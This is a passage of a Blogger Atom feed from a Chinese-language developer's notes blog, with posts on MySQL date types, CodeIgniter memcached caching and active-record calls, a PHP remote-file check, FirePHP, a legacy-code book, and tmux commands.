CentOS'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-5056803592115436304</id><published>2011-12-16T16:37:00.001+08:00</published><updated>2011-12-16T16:43:02.083+08:00</updated><title type='text'>mysql存日期該用什麼data type</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;mysql存日期的data type有好幾種type，用int存秒數也是一種&lt;br /&gt;一直很猶疑要用哪一種，想法是byte越少越好&lt;br /&gt;所以整理了一下&lt;br /&gt;&lt;table border="1"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;Type&lt;/th&gt;&lt;th&gt;Storage(Bytes)&lt;/th&gt;&lt;th&gt;Minimum Value(Signed/Unsigned)&lt;/th&gt;&lt;th&gt;Maximum Value(Signed/Unsigned)&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;DATE&lt;/td&gt;&lt;td&gt;3 bytes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TIME&lt;/td&gt;&lt;td&gt;3 bytess&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;DATETIME&lt;/td&gt;&lt;td&gt;8 bytess&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TIMESTAMP&lt;/td&gt;&lt;td&gt;4 bytess&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;YEAR&lt;/td&gt;&lt;td&gt;1 bytes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;INT&lt;/td&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;-2147483648&lt;/td&gt;&lt;td&gt;2147483647&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;所以我想... 利用INT存比較快吧...&lt;br /&gt;created date就用int來存秒數，轉換日期就利用FROM_UNIXTIME(seconds)&lt;br /&gt;last updated date就用timestamp來存，反正一樣大，而且會自動更新&lt;br /&gt;References&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://dev.mysql.com/doc/refman/5.0/en/storage-requirements.html"&gt;Data Type Storage Requirements&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-5056803592115436304?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/5056803592115436304/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=5056803592115436304' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5056803592115436304'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5056803592115436304'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/12/mysqldata-type.html' title='mysql存日期該用什麼data type'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-2033627534616350010</id><published>2011-12-15T18:32:00.000+08:00</published><updated>2011-12-16T18:10:02.879+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='CodeIgniter'/><title type='text'>active record使用memcached</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;一直用sql當memcached的key跑的順順的&lt;br /&gt;不過最近在用ci在開發，發現用的active record不知抓什麼來當key&lt;br /&gt;研究了一下，發現有last_query()可取出sql string&lt;br /&gt;不過又看了一下發現是先execute後，才會有的query&lt;br /&gt;&lt;br /&gt;而cache當然是要跑之前做，不然就沒有意義了&lt;br /&gt;又serach了一下，發現有_compile_select()&lt;br /&gt;差別當然在有執行跟沒執行，以下是片斷程式碼&lt;br /&gt;有引用tomschlick寫好給ci用的&lt;a href="https://github.com/tomschlick/memcached-library"&gt;memcached-library&lt;/a&gt; &lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt; $key = $this-&amp;gt;db-&amp;gt;_compile_select();&lt;br /&gt;$this-&amp;gt;load-&amp;gt;library('Memcached_library','','memcached');&lt;br /&gt;$results = $this-&amp;gt;memcached-&amp;gt;get($key);&lt;br /&gt;&lt;br /&gt;// If the key does not exist it could mean the key was never set or expired&lt;br /&gt;if ($results) &lt;br /&gt;     echo 'hit';&lt;br /&gt;else{&lt;br /&gt;     echo 'miss';&lt;br /&gt;     $results = $this-&amp;gt;db-&amp;gt;get()-&amp;gt;row_array();&lt;br /&gt;     $this-&amp;gt;memcached-&amp;gt;add($key, $results);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;不過每個有用db的程式這樣寫太麻煩了&lt;br /&gt;原本想改寫ci的db driver，看起來有點麻煩，先求有吧&lt;br /&gt;所以先簡單的寫在helper裡，有空再來研究改寫driver&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;_compile_select());&lt;br /&gt;        $ci = &amp;amp; get_instance();&lt;br /&gt;        $ci-&amp;gt;load-&amp;gt;library('Memcached_library','','memcached');&lt;br /&gt;        $results = $ci-&amp;gt;memcached-&amp;gt;get($key);&lt;br /&gt;&lt;br /&gt;        // If the key does not exist it could mean the key was never set or expired&lt;br /&gt;        if ($results) {&lt;br /&gt;&lt;br /&gt;                $ci-&amp;gt;fb-&amp;gt;info('[memcache] hit', "info");&lt;br /&gt;        }else{&lt;br /&gt;&lt;br /&gt;                $ci-&amp;gt;fb-&amp;gt;warn('[memcache] miss', "memcached");&lt;br /&gt;                $results = $db-&amp;gt;get()-&amp;gt;row_array();&lt;br /&gt;                $ci-&amp;gt;memcached-&amp;gt;add($key, $results);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        $db-&amp;gt;_reset_select();  //clear sql query string&lt;br /&gt;        return $results;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;References&lt;a href="http://stackoverflow.com/questions/3638348/getting-codeigniter-active-records-current-sql-code"&gt;Getting CodeIgniter Active Record's current SQL code&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-2033627534616350010?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/2033627534616350010/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=2033627534616350010' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2033627534616350010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2033627534616350010'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/12/active-recordmemcached.html' title='active record使用memcached'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-2079500032138680875</id><published>2011-12-12T15:55:00.001+08:00</published><updated>2011-12-12T15:59:55.486+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>檢查遠端的檔案是否存在</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;這方法還不錯，只回傳header，不看body&lt;div class="cod"e&gt;&lt;pre class="brush:php;"&gt;&lt;br /&gt;function remoteFileExists($url) {&lt;br /&gt;    $curl = curl_init($url);&lt;br /&gt;&lt;br /&gt;    //don't fetch the actual page, you only want to check the connection is ok&lt;br /&gt;    curl_setopt($curl, CURLOPT_NOBODY, true);&lt;br /&gt;&lt;br /&gt;    //do request&lt;br /&gt;    $result = curl_exec($curl);&lt;br /&gt;&lt;br /&gt;    $ret = false;&lt;br /&gt;&lt;br /&gt;    //if request did not fail&lt;br /&gt;    if ($result !== false) {&lt;br /&gt;        //if request was ok, check response code&lt;br /&gt;        $statusCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);  &lt;br /&gt;&lt;br /&gt;        if ($statusCode == 200) {&lt;br /&gt;            $ret = true;   &lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    curl_close($curl);&lt;br /&gt;&lt;br /&gt;    return $ret;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$exists = remoteFileExists('http://stackoverflow.com/favicon.ico');&lt;br /&gt;if ($exists) {&lt;br /&gt;    echo 'file exists';&lt;br /&gt;} else {&lt;br /&gt;    echo 'file does not exist';   &lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;Reference&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a class="question-hyperlink" href="http://stackoverflow.com/questions/981954/how-can-one-check-to-see-if-a-remote-file-exists-using-php"&gt;How can one check to see if a remote file exists using PHP?&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-2079500032138680875?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/2079500032138680875/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=2079500032138680875' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2079500032138680875'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2079500032138680875'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/12/blog-post.html' title='檢查遠端的檔案是否存在'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-8277862836237957632</id><published>2011-12-06T11:17:00.001+08:00</published><updated>2012-01-04T19:29:46.543+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='CodeIgniter'/><title type='text'>CodeIgniter - db active record常用指令</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;basic &lt;br /&gt;&lt;ul&gt;&lt;li&gt;取得config中，名為group_one的db&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;$DB1 = $this-&amp;gt;load-&amp;gt;database('group_one', TRUE); //給true才會產生實體給$DB1&lt;/pre&gt;p.s. 給true才會回傳個db object&lt;/div&gt;&lt;/li&gt;&lt;li&gt;取sql string&lt;ul&gt;&lt;li&gt;last_query()&lt;br /&gt;執行的過程中，最後的一個sql query string&lt;/li&gt;&lt;li&gt;_compile_select()&lt;br /&gt;目前sql條件的sql query string，尚未實際執行&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;select&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;$this-&amp;gt;db-&amp;gt;select('title, content, date'); //不下的話就是*&lt;br /&gt;$query = $this-&amp;gt;db-&amp;gt;get('mytable');&lt;br /&gt;foreach ($query-&amp;gt;result() as $row)&lt;br /&gt;{&lt;br /&gt;    echo $row-&amp;gt;title;&lt;br /&gt;}&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;from、join &lt;div class="code"&gt;&lt;pre class="brush:php"&gt;$this-&amp;gt;db-&amp;gt;from('mytable');&lt;/pre&gt;&lt;/div&gt;&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;$this-&amp;gt;db-&amp;gt;select('*');&lt;br /&gt;$this-&amp;gt;db-&amp;gt;from('blogs');&lt;br /&gt;$this-&amp;gt;db-&amp;gt;join('comments', 'comments.id = blogs.id');&lt;br /&gt;&lt;br /&gt;$query = $this-&amp;gt;db-&amp;gt;get();&lt;br /&gt;&lt;br /&gt;// Produces:&lt;br /&gt;// SELECT * FROM blogs&lt;br /&gt;// JOIN comments ON comments.id = blogs.id&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;where&amp;nbsp;&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;$query = $this-&amp;gt;db-&amp;gt;get_where('mytable', array('id' =&amp;gt; $id), $limit, $offset);&lt;br /&gt;$this-&amp;gt;db-&amp;gt;or_where('id &amp;gt;', $id);  // Produces: WHERE name != 'Joe' OR id &amp;gt; 50&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;insert&lt;/li&gt;新增欄位為now()的方法&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;$data = array (&lt;br /&gt;   'customer_id'=&gt; $customer_id,&lt;br /&gt;   'total' =&gt; $totalprice&lt;br /&gt;  );&lt;br /&gt;  $this-&gt;db-&gt;set('order_date', 'NOW()', FALSE);&lt;br /&gt;  $this-&gt;db-&gt;insert('omc_orders', $data);&lt;/pre&gt;&lt;/div&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Reference&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://codeigniter.com/user_guide/database/connecting.html"&gt;Connecting to your Database&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://codeigniter.com/user_guide/database/active_record.html"&gt;Active Record Class&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-8277862836237957632?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/8277862836237957632/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=8277862836237957632' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8277862836237957632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8277862836237957632'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/12/codeigniter-db-active-record.html' title='CodeIgniter - db active record常用指令'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-4027187397178182197</id><published>2011-12-01T15:34:00.001+08:00</published><updated>2011-12-12T16:00:55.093+08:00</updated><title type='text'>FirePHP</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;FireBug用久了，做php時，也很想要有這樣的好物&lt;br /&gt;用過之後，覺得真的是超~~~~~~~~~~~~~~方便.......感動到想哭...&lt;br /&gt;不過其他如ie要查時就... 無言了...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;除了直接跟php搭外&lt;br /&gt;還可以跟php的framework搭&lt;br /&gt;&lt;a href="http://blog.wu-boy.com/2010/06/php-%e5%a5%bd%e7%94%a8-debug-php-%e5%b7%a5%e5%85%b7-firephp-for-firefox-on-codeigniter/" rel="bookmark" title="Permanent Link to [PHP] 好用 Debug PHP 工具 FirePHP for FireFox on CodeIgniter"&gt;[PHP] 好用 Debug PHP 工具 FirePHP for FireFox on CodeIgniter&lt;/a&gt;&lt;br /&gt;這篇教學很完整，不再複製貼上了&lt;br /&gt;&lt;br /&gt;不過日子一舊，換個環境後，又有些細節設定及用法忘了&lt;br /&gt;這裡就留著寫自己的筆記 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;References&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://blog.wu-boy.com/2010/06/php-%e5%a5%bd%e7%94%a8-debug-php-%e5%b7%a5%e5%85%b7-firephp-for-firefox-on-codeigniter/" rel="bookmark" title="Permanent Link to [PHP] 好用 Debug PHP 工具 FirePHP for FireFox on CodeIgniter"&gt;[PHP] 好用 Debug PHP 工具 FirePHP for FireFox on CodeIgniter&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-4027187397178182197?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/4027187397178182197/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=4027187397178182197' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4027187397178182197'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4027187397178182197'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/12/firephp.html' title='FirePHP'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-8955991586758919617</id><published>2011-11-25T15:06:00.001+08:00</published><updated>2011-12-05T15:43:40.365+08:00</updated><title type='text'>書：Working Effectively With Legacy Code</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;一直對TDD很猶豫... 讀完後，決定好好的寫TDD了...&lt;br /&gt;不想要再為了改個地方，而怕東怕西... 決定用這個可以放輕鬆的開發方法..&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;What is legacy code &lt;br /&gt;legacy code與non-legacy code的差別 - "test"&lt;br /&gt;接手的人不敢亂改，但如果有test機制，就能夠一步步修改維護&lt;/li&gt;&lt;li&gt;Test Coverings&lt;br /&gt;將程式佈滿測試，就不會害怕去改變他&lt;/li&gt;&lt;li&gt;Legacy Management Streategy&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Identify change points&amp;nbsp;&lt;/li&gt;&lt;li&gt;Find an inflection point&amp;nbsp;&lt;/li&gt;&lt;li&gt;Cover the inflection pointa.&lt;/li&gt;&lt;ol&gt;&lt;li&gt;Break external dependencies &lt;br /&gt;作者舉在testing時，重視測試結果，而常綁死gui的實作，造成testing不易&lt;br /&gt;作者寫了CustomerView的interface，當測試時，就可在不改變結構下，丟空的實作做測試，有mock的感覺&lt;/li&gt;&lt;li&gt;Break internal dependencies&lt;br /&gt;在測試時是不必要的地方(如產生暫存等)，就繼承該class，直接orverriding掉，不要做任何事即可，有stub的感覺&lt;/li&gt;&lt;li&gt;Write tests&amp;nbsp;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;Make changes&amp;nbsp;&lt;/li&gt;&lt;li&gt;Refactor the covered code.&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;待續... &lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-8955991586758919617?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/8955991586758919617/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=8955991586758919617' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8955991586758919617'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8955991586758919617'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/11/working-effectively-with-legacy-code.html' title='書：Working Effectively With Legacy Code'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-4179617979511078844</id><published>2011-11-18T12:29:00.001+08:00</published><updated>2011-11-18T12:31:15.479+08:00</updated><title type='text'>SQL 常用查詢</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;從url字串截取domain&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;SELECT substring_index(substring_index(trim(leading "https://" from trim(leading http://" from trim(`URL`))), "/", 1), ":", 1) as domain FROM `uchome_app` WHERE 1 `redirect_uri`&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-4179617979511078844?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/4179617979511078844/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=4179617979511078844' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4179617979511078844'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4179617979511078844'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/11/sql.html' title='SQL 常用查詢'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-4741518696349361813</id><published>2011-11-10T17:37:00.000+08:00</published><updated>2012-01-30T14:46:11.259+08:00</updated><title type='text'>linux切換多重視窗 - tmux</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;用pietty開發時，經常需要連到其他servers&lt;br /&gt;懶得再開一個pietty，直接用ssh連線做完後，又得要exit掉，回到原本的環境&lt;br /&gt;如果忘了做件事，又要再重連一次，指令密碼一直下，路徑也要一直切&lt;br /&gt;環境一直切換覺得挺煩的，但再開一個pietty來做，切換視窗也是切到暈，常切到不知自己在哪...&lt;br /&gt;&lt;br /&gt;今天同事也遇到以上問題，問我知不知道怎麼切換連線&lt;br /&gt;說他有看過，但他不會...&lt;br /&gt;&lt;br /&gt;這才一語驚醒夢中人... 對呀!!! 這東西應該有人有做出什麼神奇的工具&lt;br /&gt;我怎麼都沒想過，即然同事都說有看過了，就jfgi了一下...&lt;br /&gt;結果出現scree及tmux這好東西... 試用了一下，真是太感動了&lt;br /&gt;個人覺得最方便的功能如下：&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;同一個pietty連線，可以使用多個windows&lt;br /&gt;有點像是用本機登入linux，用F1,F2... 就可以切換多重視窗&lt;br /&gt;而遠端就得利用scree或tmux做掉，不過快捷鍵要記一下...&lt;br /&gt;&lt;/li&gt;&lt;li&gt;視窗保留&lt;br /&gt;離開tmux後(tmux detach)，再下tmux attach能夠保留上一次所有開啟的視窗連線狀態(session)。例如用vim開發常會開好幾個分頁，離開時要全關，下次再一一打開，有時只是離開一下座位，開著編輯畫面總覺得怪怪的，利用視窗保留就能不離開vim或當時的環境，等要用時再取回，這真是太酷了...&lt;br /&gt;而且能夠開多個session，保留不同的開發環境&lt;/li&gt;&lt;li&gt;自定環境&lt;br /&gt;可以自定內部多視窗的名字，這樣開再多也不怕&lt;/li&gt;&lt;/ul&gt;Tmux&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;install tmux&lt;br /&gt;# yum install tmux&lt;br /&gt;如果找不到套件，先加入epel的repo&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;rpm -Uvh http://download.fedora.redhat.com/pub/epel/6/i386/epel-release-6-5.noarch.rpm&lt;/pre&gt;&lt;/div&gt;Reference: &lt;a href="http://techspotting.org/install-epel-repo-centos-rhel/"&gt;Install EPEL Repo CentOS RHEL&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;啟動tmux&lt;br /&gt;# tmux&lt;/li&gt;&lt;li&gt;tmux指令(啟動tmux環境) &lt;br /&gt;&lt;ul&gt;&lt;li&gt;取回視窗&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$ tmux attach &lt;br /&gt;$ tmux attach -t session-id  //指定特定seesion&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;列出所有sessions&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$tmux ls&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;更改session名&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$ tmux rename-session -t session1 session2  //把session1改成session2&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;tmux視窗指令 ()&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;&lt;i&gt;Ctrl-b c&lt;/i&gt;&lt;/b&gt; Create new window&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;i&gt;Ctrl-b d&lt;/i&gt;&lt;/b&gt; Detach current client&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;Ctrl-b l&lt;/b&gt;&lt;/i&gt; Move to previously selected window&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;Ctrl-b n&lt;/b&gt;&lt;/i&gt; Move to the next window&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;Ctrl-b p&lt;/b&gt;&lt;/i&gt; Move to the previous window&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;Ctrl-b &amp;amp;&lt;/b&gt;&lt;/i&gt; Kill the current window&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;Ctrl-b $&lt;/b&gt;&lt;/i&gt; Rename the current session&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;Ctrl-b ,&lt;/b&gt;&lt;/i&gt; Rename the current window&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;Ctrl-b %&lt;/b&gt;&lt;/i&gt; Split the current window into two panes&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;Ctrl-b ?&lt;/b&gt;&lt;/i&gt; List all keybindings&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;分割 / 切割視窗 (切出來的叫pane)&lt;br /&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;Ctrl-b q&lt;/b&gt;&lt;/i&gt; Show pane numbers&lt;/li&gt;&lt;li&gt;&lt;b&gt;Ctrl-b alt按著，再按上下左右, 可以調整視窗大小&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Ctrl-b % 直切&lt;/b&gt;&lt;b&gt; &lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Ctrl-b s 橫切&lt;/b&gt;&lt;/li&gt;&lt;li&gt;Ctrl-b Ctrl-o 調換 切割視窗 的 位置&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;Ctrl-b o&lt;/b&gt;&lt;/i&gt; Switch to the next pane&lt;/li&gt;&lt;li&gt;Ctrl-b 上下左右 跳到上下左右的分割視窗&lt;/li&gt;&lt;li&gt;Ctrl-b ! 將目前的pane抽成window &lt;/li&gt;&lt;li&gt;Ctrl-b x 